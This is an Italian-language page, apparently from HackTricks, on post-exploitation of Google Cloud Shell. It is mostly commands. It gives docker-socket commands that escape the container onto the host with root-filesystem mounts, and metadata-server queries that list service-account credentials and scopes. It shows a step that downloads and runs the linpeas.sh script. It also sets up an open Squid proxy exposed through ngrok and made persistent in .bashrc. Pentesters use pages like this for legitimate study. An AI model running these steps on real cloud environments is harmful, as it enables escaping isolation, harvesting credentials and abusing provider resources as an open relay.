GCP - Cloud Shell Post Exploitation

Supporta HackTricks

Cloud Shell

Per ulteriori informazioni su Cloud Shell controlla:

GCP - Cloud Shell Enum

Container Escape

Nota che Google Cloud Shell gira all'interno di un container, puoi uscire facilmente verso l'host facendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Questo non è considerato una vulnerabilità da Google, ma ti offre una visione più ampia di ciò che sta accadendo in quell'ambiente.

Inoltre, nota che dal host puoi trovare un token dell'account di servizio:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con i seguenti ambiti:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Esegui l'enumerazione dei metadati con LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Dopo aver utilizzato https://github.com/carlospolop/bf_my_gcp_permissions con il token dell'Account di Servizio non è stata scoperta alcuna autorizzazione...

Usalo come Proxy

Se vuoi utilizzare la tua istanza di google cloud shell come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

sudo apt install -y squid

Just per farti sapere, Squid è un server proxy http. Crea un squid.conf file con le seguenti impostazioni:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copia il file squid.conf in /etc/squid

sudo cp squid.conf /etc/squid

Infine, esegui il servizio squid:

sudo service squid start

Usa ngrok per rendere il proxy disponibile dall'esterno:

./ngrok tcp 3128

Dopo aver eseguito, copia l'url tcp://. Se desideri eseguire il proxy da un browser, si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del tuo browser (squid è un server proxy http).

Per un migliore utilizzo all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Controlla quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.

Supporta HackTricks

Last updated